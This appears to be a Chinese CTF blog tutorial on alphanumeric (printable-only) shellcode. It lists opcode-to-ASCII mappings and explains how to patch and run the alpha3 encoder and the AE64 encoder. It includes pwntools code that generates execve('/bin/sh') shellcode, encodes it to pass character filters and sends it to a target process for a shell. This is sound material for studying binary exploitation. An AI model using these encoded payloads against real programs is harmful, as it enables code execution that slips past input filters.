alphanumeric shellcode(纯字符shellcode)是比较实用的一项技术，因为有些时候程序会对用户输入的字符进行限制，比如只允许输入可见字符，这时就需要用到纯字符的shellcode了。
原理很简单，就是使用纯字符对应的汇编指令完成shellcode的编写，比如：
| ASCII字符 |
Hex |
汇编指令 |
| P |
0×50 |
push %rax |
| Q |
0×51 |
push %rcx |
| R |
0×52 |
push %rdx |
| S |
0×53 |
push %rbx |
| T |
0×54 |
push %rsp |
| U |
0×55 |
push %rbp |
| V |
0×56 |
push %rsi |
| W |
0×57 |
push %rdi |
| X |
0×58 |
pop %rax |
| Y |
0×59 |
pop %rcx |
| Z |
0x5a |
pop %rdx |
其余的就不一一列出了，本篇主要介绍使用工具编码，手动编码可以参考以下几篇文章：
Alphanumeric shellcode
x86纯字符编码表
x64纯字符编码表
alpha3
这个工具源码在google上，国内可以选择从github下载。不过官方代码在Linux环境下运行时有些问题：
% python ALPHA3.py
Traceback (most recent call last):
File "ALPHA3.py", line 4, in <module>
import charsets, encode, io
File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
import ALPHA3
File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
import x86, x64, test
File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.
看下报错信息，发现错误在test/__init__.py中，打开源码，发现有个判断平台的代码，如果不是win32就报错，解决方法很简单，只需要把后两行代码注释掉就行，修改如下：
if (sys.platform == 'win32'):
# ...
TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
# raise OSError("Unsupported platform for testing.");
再次运行就正常：
% python ALPHA3.py
____________________________________________________________________________
,sSSs,,s, ,sSSSs, ALPHA3 - Alphanumeric shellcode encoder.
dS" Y$P" YS" ,SY Version 1.0 alpha
iS' dY ssS" Copyright (C) 2003-2009 by SkyLined.
YS, dSb SP, ;SP <[email protected]>
`"YSS'"S' "YSSSY" http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________
[Usage]
ALPHA3.py [ encoder settings | I/O settings | flags ]
# ...
修改完之后还需要编译源码，但是编译源码的工具也在google上，如果懒得自己编译，可以直接下载我修改版: https://github.com/TaQini/alpha3
git clone https://github.com/TaQini/alpha3.git
生成shellcode
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
将上述代码保存成sc.py放到alpha3目录下，然后执行如下命令生成待编码的shellcode文件
python sc.py > shellcode
默认生成的是x64的sys_execve("/bin/sh",0,0)，可以修改成其他的arch或shellcode
x64 alpha编码
生成x64 alpha shellcode
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
或者用我写的脚本：
./shellcode_x64.sh rax
其中输入文件为shellcode，rax是用于编码的寄存器(shellcode基址)
比如有如下代码：
00101246 48 8d LEA RAX,[RBP + -0x410]
85 f0
fb ff
0010124d ff d0 CALL RAX
; ...
通过call rax跳转到shellcode，那么alpha3命令中用于编码的寄存器就是rax
shellcode的起始地址存在哪个寄存器中，用于编码的寄存器就是哪个
x86 alpha编码
alpha3中x64的shellcode只要上述mixedcase一种情况，x86的选项比较多：
x86 ascii uppercase (数字+大写字母)
x86 ascii lowercase (数字+小写字母)
x86 ascii mixedcase (数字+大小写字母)
用法与x64相似，不赘述啦~
全部编码方式
alpha3支持的所有编码方式如下：
Valid base address examples for each encoder, ordered by encoder settings,
are:
[x64 ascii mixedcase]
AscMix (r64) RAX RCX RDX RBX RSP RBP RSI RDI
[x86 ascii lowercase]
AscLow 0x30 (rm32) ECX EDX EBX
[x86 ascii mixedcase]
AscMix 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
ECX+2 ESI+4 ESI+8
AscMix 0x30 (i32) (address)
AscMix Countslide (rm32) countslide:EAX+offset~uncertainty
countslide:EBX+offset~uncertainty
countslide:ECX+offset~uncertainty
countslide:EDX+offset~uncertainty
countslide:ESI+offset~uncertainty
countslide:EDI+offset~uncertainty
AscMix Countslide (i32) countslide:address~uncertainty
AscMix SEH GetPC (XPsp3) seh_getpc_xpsp3
[x86 ascii uppercase]
AscUpp 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
[x86 latin-1 mixedcase]
Latin1Mix CALL GetPC call
[x86 utf-16 uppercase]
UniUpper 0x10 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
AE64
AE64是杭电的一位大师傅写的工具，专用于生成64位的aplha shellcode。下载方式：
git clone https://github.com/veritas501/ae64.git
AE64的优势在于编码时可以更加灵活地使用寄存器，但是生成的alpha shellcode比alpha3要更长一些。
此外AE64是python写的，可以直接在python中调用，以下是官方的栗子：
from pwn import *
from ae64 import AE64
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./example1')
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')
p.sendline(sc)
p.interactive()
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